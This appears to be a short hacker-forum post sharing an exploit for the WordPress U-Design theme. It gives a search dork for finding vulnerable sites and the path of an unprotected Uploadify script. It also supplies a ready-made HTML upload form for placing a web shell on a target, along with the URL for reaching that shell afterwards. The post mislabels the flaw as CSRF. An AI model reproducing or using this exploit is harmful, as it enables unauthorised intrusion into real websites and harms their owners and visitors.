WORDPRESS THEMES U-DESIGN EXPLOIT

Hello World; this time I'll Share u-design themes exploit in wordpress.

#Type: CSRF & Xampp, Uploadify

#Tested: Windows XP, 7, 8, BackBox

#CMS: WordPress

Dork: inurl:themes/u-design/

exploit:
/wp-content/themes/u-design/scripts/admin/uploadify/
uploadify.php

If Vuln, it will display a "blank" page

CSRF

<form method="POST" action="http://www.site.com/wp-content/themes/u-design/scripts/admin/uploadify/ uploadify.php" enctype="multipart/form-data"><input type="file" name="Filedata" /><button>Upload</button><br /> </form>

Shell Access: site.com/myshell.php

Thats all for now, stay updated always..